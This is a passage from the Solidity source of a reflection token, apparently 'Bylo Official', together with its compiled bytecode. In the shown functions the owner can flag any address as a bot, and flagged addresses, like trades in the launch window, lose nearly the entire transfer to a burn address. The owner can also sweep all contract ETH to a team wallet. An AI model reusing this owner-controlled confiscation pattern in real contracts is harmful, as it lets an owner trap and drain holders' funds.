initialBlockLimit >= block.number) { feeAmount = amount.mul(feeDenominator.sub(1)).div(feeDenominator); _balances[DEAD] = _balances[DEAD].add(feeAmount); emit Transfer(sender, DEAD, feeAmount); } else { feeAmount = amount.mul(totalFee).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 amountToSwap = swapThreshold; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 amountReflection = amountETH.mul(reflectionFee).div(totalFee); uint256 amountTeam = amountETH.sub(amountReflection); try distributor.deposit{value: amountReflection}() {} catch {} payable(teamReceiver).transfer(amountTeam); } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal { //To know when it was launched launchedAt = block.number; } function setInitialBlockLimit(uint256 blocks) external onlyOwner { require(blocks > 0, "Blocks should be greater than 0"); initialBlockLimit = blocks; } function setBuyTxLimit(uint256 amount) external onlyOwner { _maxTxAmountBuy = amount; } function setSellTxLimit(uint256 amount) external onlyOwner { _maxTxAmountSell = amount; } function setBot(address _address, bool toggle) external onlyOwner { isBot[_address] = toggle; _setIsDividendExempt(_address, toggle); } function isInBot(address _address) external view onlyOwner returns (bool) { return isBot[_address]; } function _setIsDividendExempt(address holder, bool exempt) internal { require(holder != address(this) && holder != pair); isDividendExempt[holder] = exempt; if(exempt){ distributor.setShare(holder, 0); }else{ distributor.setShare(holder, _balances[holder]); } } function setIsDividendExempt(address holder, bool exempt) external onlyOwner { _setIsDividendExempt(holder, exempt); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setFees( uint256 _reflectionFee, uint256 _teamFee, uint256 _feeDenominator) external onlyOwner { reflectionFee = _reflectionFee; teamFee = _teamFee; totalFee = _reflectionFee.add(_teamFee); feeDenominator = _feeDenominator; //Total fees has to be less than 50% require(totalFee < feeDenominator/2); } function setFeeReceiver(address _teamReceiver) external onlyOwner { teamReceiver = _teamReceiver; } function manualSend() external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(teamReceiver).transfer(contractETHBalance); } function setSwapBackSettings(bool enabled, uint256 amount) external onlyOwner { swapEnabled = enabled; swapThreshold = amount; } function claimDividend() external { distributor.claimDividend(msg.sender); } function claimDividend(address holder) external onlyOwner { distributor.claimDividend(holder); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { return distributor.getUnpaidEarnings(shareholder); } function manualBurn(uint256 amount) external onlyOwner returns (bool) { return _basicTransfer(address(this), DEAD, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } }
0x6080604052600436106102085760003560e01c806370a0823111610118578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b146107ac578063f4293890146107d5578063f708a64f146107ec578063f84ba65d14610815578063f887ea401461083e5761020f565b8063dd62ed3e14610706578063df20fd4914610743578063efdcd9741461076c578063f0fc6bca146107955761020f565b8063a8aa1b31116100e7578063a8aa1b3114610621578063a9059cbb1461064c578063bf56b37114610689578063c3647c8c146106b4578063cec10c11146106dd5761020f565b806370a0823114610565578063736ad050146105a2578063893d20e8146105cb57806395d89b41146105f65761020f565b806328fd31981161019b578063342aa8b51161016a578063342aa8b51461046e578063416501c814610497578063571ac8b0146104d4578063658d4b7f146105115780636ddd17131461053a5761020f565b806328fd31981461039e5780632b112e49146103db5780632f54bf6e14610406578063313ce567146104435761020f565b806315f7e05e116101d757806315f7e05e146102d057806318160ddd146102f957806323b635851461032457806323b872dd146103615761020f565b80630445b6671461021457806306fdde031461023f57806308cad4e51461026a578063095ea7b3146102935761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610869565b6040516102369190613551565b60405180910390f35b34801561024b57600080fd5b5061025461086f565b604051610261919061346f565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c919061310b565b6108ac565b005b34801561029f57600080fd5b506102ba60048036038101906102b5919061308b565b6108fe565b6040516102c79190613439565b60405180910390f35b3480156102dc57600080fd5b506102f760048036038101906102f29190612f5e565b6109f0565b005b34801561030557600080fd5b5061030e610ac8565b60405161031b9190613551565b60405180910390f35b34801561033057600080fd5b5061034b6004803603810190610346919061310b565b610ad2565b6040516103589190613439565b60405180910390f35b34801561036d57600080fd5b5061038860048036038101906103839190612ff8565b610b50565b6040516103959190613439565b60405180910390f35b3480156103aa57600080fd5b506103c560048036038101906103c09190612f5e565b610d50565b6040516103d29190613551565b60405180910390f35b3480156103e757600080fd5b506103f0610e04565b6040516103fd9190613551565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190612f5e565b610e86565b60405161043a9190613439565b60405180910390f35b34801561044f57600080fd5b50610458610edf565b60405161046591906135c6565b60405180910390f35b34801561047a57600080fd5b506104956004803603810190610490919061304b565b610ee8565b005b3480156104a357600080fd5b506104be60048036038101906104b99190612f5e565b610f95565b6040516104cb9190613439565b60405180910390f35b3480156104e057600080fd5b506104fb60048036038101906104f69190612f5e565b611033565b6040516105089190613439565b60405180910390f35b34801561051d57600080fd5b506105386004803603810190610533919061304b565b611066565b005b34801561054657600080fd5b5061054f611109565b60405161055c9190613439565b60405180910390f35b34801561057157600080fd5b5061058c60048036038101906105879190612f5e565b61111c565b6040516105999190613551565b60405180910390f35b3480156105ae57600080fd5b506105c960048036038101906105c4919061310b565b611165565b005b3480156105d757600080fd5b506105e06111b7565b6040516105ed91906133b1565b60405180910390f35b34801561060257600080fd5b5061060b6111e0565b604051610618919061346f565b60405180910390f35b34801561062d57600080fd5b5061063661121d565b60405161064391906133b1565b60405180910390f35b34801561065857600080fd5b50610673600480360381019061066e919061308b565b611243565b6040516106809190613439565b60405180910390f35b34801561069557600080fd5b5061069e611258565b6040516106ab9190613551565b60405180910390f35b3480156106c057600080fd5b506106db60048036038101906106d6919061310b565b61125e565b005b3480156106e957600080fd5b5061070460048036038101906106ff9190613165565b6112f3565b005b34801561071257600080fd5b5061072d60048036038101906107289190612fb8565b61138a565b60405161073a9190613551565b60405180910390f35b34801561074f57600080fd5b5061076a600480360381019061076591906130cb565b611411565b005b34801561077857600080fd5b50610793600480360381019061078e9190612f5e565b61147e565b005b3480156107a157600080fd5b506107aa61150a565b005b3480156107b857600080fd5b506107d360048036038101906107ce9190612f8b565b611599565b005b3480156107e157600080fd5b506107ea61165b565b005b3480156107f857600080fd5b50610813600480360381019061080e919061304b565b611714565b005b34801561082157600080fd5b5061083c6004803603810190610837919061304b565b61176a565b005b34801561084a57600080fd5b5061085361180d565b6040516108609190613454565b60405180910390f35b60175481565b60606040518060400160405280600d81526020017f42796c6f204f6666696369616c00000000000000000000000000000000000000815250905090565b6108b533610e86565b6108f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108eb90613491565b60405180910390fd5b8060068190555050565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109de9190613551565b60405180910390a36001905092915050565b6109f933610e86565b610a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2f90613491565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166315f7e05e826040518263ffffffff1660e01b8152600401610a9391906133b1565b600060405180830381600087803b158015610aad57600080fd5b505af1158015610ac1573d6000803e3d6000fd5b5050505050565b6000600454905090565b6000610add33610e86565b610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390613491565b60405180910390fd5b610b4930600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611833565b9050919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d3c57610cbb826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a069092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d47848484611a6a565b90509392505050565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166328fd3198836040518263ffffffff1660e01b8152600401610dad91906133b1565b60206040518083038186803b158015610dc557600080fd5b505afa158015610dd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfd9190613138565b9050919050565b6000610e81610e34600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661111c565b610e73610e62600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661111c565b60045461206590919063ffffffff16565b61206590919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b610ef133610e86565b610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790613491565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f9182826120af565b5050565b6000610fa033610e86565b610fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd690613491565b60405180910390fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061105f827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108fe565b9050919050565b61106f33610e86565b6110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590613491565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660149054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61116e33610e86565b6111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490613491565b60405180910390fd5b8060058190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f42594c4f00000000000000000000000000000000000000000000000000000000815250905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611250338484611a6a565b905092915050565b60155481565b61126733610e86565b6112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90613491565b60405180910390fd5b600081116112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e0906134f1565b60405180910390fd5b80600d8190555050565b6112fc33610e86565b61133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290613491565b60405180910390fd5b82600e8190555081600f8190555061135c828461230790919063ffffffff16565b601081905550806011819055506002601154611378919061368c565b6010541061138557600080fd5b505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61141a33610e86565b611459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145090613491565b60405180910390fd5b81601660146101000a81548160ff021916908315150217905550806017819055505050565b61148733610e86565b6114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90613491565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166315f7e05e336040518263ffffffff1660e01b815260040161156591906133b1565b600060405180830381600087803b15801561157f57600080fd5b505af1158015611593573d6000803e3d6000fd5b50505050565b6115a233610e86565b6115e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d890613491565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161165091906133cc565b60405180910390a150565b61166433610e86565b6116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a90613491565b60405180910390fd5b6000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611710573d6000803e3d6000fd5b5050565b61171d33610e86565b61175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175390613491565b60405180910390fd5b61176682826120af565b5050565b61177333610e86565b6117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a990613491565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006118be826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a069092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195382600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230790919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119f39190613551565b60405180910390a3600190509392505050565b6000838311158290611a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a45919061346f565b60405180910390fd5b5060008385611a5d9190613717565b9050809150509392505050565b6000601860009054906101000a900460ff1615611a9357611a8c848484611833565b905061205e565b611a9e848484612365565b611aa66124f7565b15611ab457611ab36125ce565b5b611abc612906565b158015611b165750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b70576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611b6757600080fd5b611b6f612913565b5b611bf9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a069092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611c48858561291c565b611c525782611c5e565b611c5d8585856129c8565b5b9050611cb281600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611d9d5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e7457601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401611e3e929190613410565b600060405180830381600087803b158015611e5857600080fd5b505af1925050508015611e69575060015b611e7257611e73565b5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f1c5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ff357601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9685600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401611fbd929190613410565b600060405180830381600087803b158015611fd757600080fd5b505af1925050508015611fe8575060015b611ff157611ff2565b5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120509190613551565b60405180910390a360019150505b9392505050565b60006120a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a06565b905092915050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121395750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61214257600080fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550801561223457601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b81526004016121fd9291906133e7565b600060405180830381600087803b15801561221757600080fd5b505af115801561222b573d6000803e3d6000fd5b50505050612303565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b81526004016122d0929190613410565b600060405180830381600087803b1580156122ea57600080fd5b505af11580156122fe573d6000803e3d6000fd5b505050505b5050565b60008082846123169190613636565b90508381101561235b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612352906134b1565b60405180910390fd5b8091505092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461245857600654811115806124145750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244a90613531565b60405180910390fd5b6124f2565b600554811115806124b25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e8906134d1565b60405180910390fd5b5b505050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156125645750601860009054906101000a900460ff16155b801561257c5750601660149054906101000a900460ff165b80156125c95750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601860006101000a81548160ff021916908315150217905550600060175490506000600267ffffffffffffffff81111561260d5761260c6138cc565b5b60405190808252806020026020018201604052801561263b5781602001602082028036833780820191505090505b50905030816000815181106126535761265261389d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106126c4576126c361389d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b815260040161276795949392919061356c565b600060405180830381600087803b15801561278157600080fd5b505af1158015612795573d6000803e3d6000fd5b5050505060006127ae824761206590919063ffffffff16565b905060006127db6010546127cd600e5485612dcd90919063ffffffff16565b612e4890919063ffffffff16565b905060006127f2828461206590919063ffffffff16565b9050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b15801561285e57600080fd5b505af193505050508015612870575060015b6128795761287a565b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128e2573d6000803e3d6000fd5b505050505050506000601860006101000a81548160ff021916908315150217905550565b6000806015541415905090565b43601581905550565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129bf5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15905092915050565b6000806000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612a7657600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050612ac6565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b8080612ae1575043600d54601554612ade9190613636565b10155b15612c8957612b22601154612b14612b05600160115461206590919063ffffffff16565b87612dcd90919063ffffffff16565b612e4890919063ffffffff16565b9150612b988260076000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230790919063ffffffff16565b60076000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c7c9190613551565b60405180910390a3612daf565b612cb2601154612ca460105487612dcd90919063ffffffff16565b612e4890919063ffffffff16565b9150612d0682600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230790919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612da69190613551565b60405180910390a35b612dc2828561206590919063ffffffff16565b925050509392505050565b600080831415612de05760009050612e42565b60008284612dee91906136bd565b9050828482612dfd919061368c565b14612e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e3490613511565b60405180910390fd5b809150505b92915050565b6000612e8a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e92565b905092915050565b60008083118290612ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed0919061346f565b60405180910390fd5b5060008385612ee8919061368c565b9050809150509392505050565b600081359050612f0481613a2d565b92915050565b600081359050612f1981613a44565b92915050565b600081359050612f2e81613a5b565b92915050565b600081359050612f4381613a72565b92915050565b600081519050612f5881613a72565b92915050565b600060208284031215612f7457612f736138fb565b5b6000612f8284828501612ef5565b91505092915050565b600060208284031215612fa157612fa06138fb565b5b6000612faf84828501612f0a565b91505092915050565b60008060408385031215612fcf57612fce6138fb565b5b6000612fdd85828601612ef5565b9250506020612fee85828601612ef5565b9150509250929050565b600080600060608486031215613011576130106138fb565b5b600061301f86828701612ef5565b935050602061303086828701612ef5565b925050604061304186828701612f34565b9150509250925092565b60008060408385031215613062576130616138fb565b5b600061307085828601612ef5565b925050602061308185828601612f1f565b9150509250929050565b600080604083850312156130a2576130a16138fb565b5b60006130b085828601612ef5565b92505060206130c185828601612f34565b9150509250929050565b600080604083850312156130e2576130e16138fb565b5b60006130f085828601612f1f565b925050602061310185828601612f34565b9150509250929050565b600060208284031215613121576131206138fb565b5b600061312f84828501612f34565b91505092915050565b60006020828403121561314e5761314d6138fb565b5b600061315c84828501612f49565b91505092915050565b60008060006060848603121561317e5761317d6138fb565b5b600061318c86828701612f34565b935050602061319d86828701612f34565b92505060406131ae86828701612f34565b9150509250925092565b60006131c483836131df565b60208301905092915050565b6131d9816137b2565b82525050565b6131e88161374b565b82525050565b6131f78161374b565b82525050565b6000613208826135f1565b6132128185613614565b935061321d836135e1565b8060005b8381101561324e57815161323588826131b8565b975061324083613607565b925050600181019050613221565b5085935050505092915050565b6132648161376f565b82525050565b613273816137c4565b82525050565b613282816137d6565b82525050565b6000613293826135fc565b61329d8185613625565b93506132ad81856020860161380c565b6132b681613900565b840191505092915050565b60006132ce600683613625565b91506132d982613911565b602082019050919050565b60006132f1601b83613625565b91506132fc8261393a565b602082019050919050565b6000613314601583613625565b915061331f82613963565b602082019050919050565b6000613337601f83613625565b91506133428261398c565b602082019050919050565b600061335a602183613625565b9150613365826139b5565b604082019050919050565b600061337d601683613625565b915061338882613a04565b602082019050919050565b61339c8161379b565b82525050565b6133ab816137a5565b82525050565b60006020820190506133c660008301846131ee565b92915050565b60006020820190506133e160008301846131d0565b92915050565b60006040820190506133fc60008301856131ee565b6134096020830184613279565b9392505050565b600060408201905061342560008301856131ee565b6134326020830184613393565b9392505050565b600060208201905061344e600083018461325b565b92915050565b6000602082019050613469600083018461326a565b92915050565b600060208201905081810360008301526134898184613288565b905092915050565b600060208201905081810360008301526134aa816132c1565b9050919050565b600060208201905081810360008301526134ca816132e4565b9050919050565b600060208201905081810360008301526134ea81613307565b9050919050565b6000602082019050818103600083015261350a8161332a565b9050919050565b6000602082019050818103600083015261352a8161334d565b9050919050565b6000602082019050818103600083015261354a81613370565b9050919050565b60006020820190506135666000830184613393565b92915050565b600060a0820190506135816000830188613393565b61358e6020830187613279565b81810360408301526135a081866131fd565b90506135af60608301856131ee565b6135bc6080830184613393565b9695505050505050565b60006020820190506135db60008301846133a2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136418261379b565b915061364c8361379b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136815761368061383f565b5b828201905092915050565b60006136978261379b565b91506136a28361379b565b9250826136b2576136b161386e565b5b828204905092915050565b60006136c88261379b565b91506136d38361379b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561370c5761370b61383f565b5b828202905092915050565b60006137228261379b565b915061372d8361379b565b9250828210156137405761373f61383f565b5b828203905092915050565b60006137568261377b565b9050919050565b60006137688261377b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006137bd826137e8565b9050919050565b60006137cf826137e8565b9050919050565b60006137e18261379b565b9050919050565b60006137f3826137fa565b9050919050565b60006138058261377b565b9050919050565b60005b8381101561382a57808201518184015260208101905061380f565b83811115613839576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f214f776e65720000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f427579205458204c696d69742045786365656465640000000000000000000000600082015250565b7f426c6f636b732073686f756c642062652067726561746572207468616e203000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c205458204c696d697420457863656564656400000000000000000000600082015250565b613a368161374b565b8114613a4157600080fd5b50565b613a4d8161375d565b8114613a5857600080fd5b50565b613a648161376f565b8114613a6f57600080fd5b50565b613a7b8161379b565b8114613a8657600080fd5b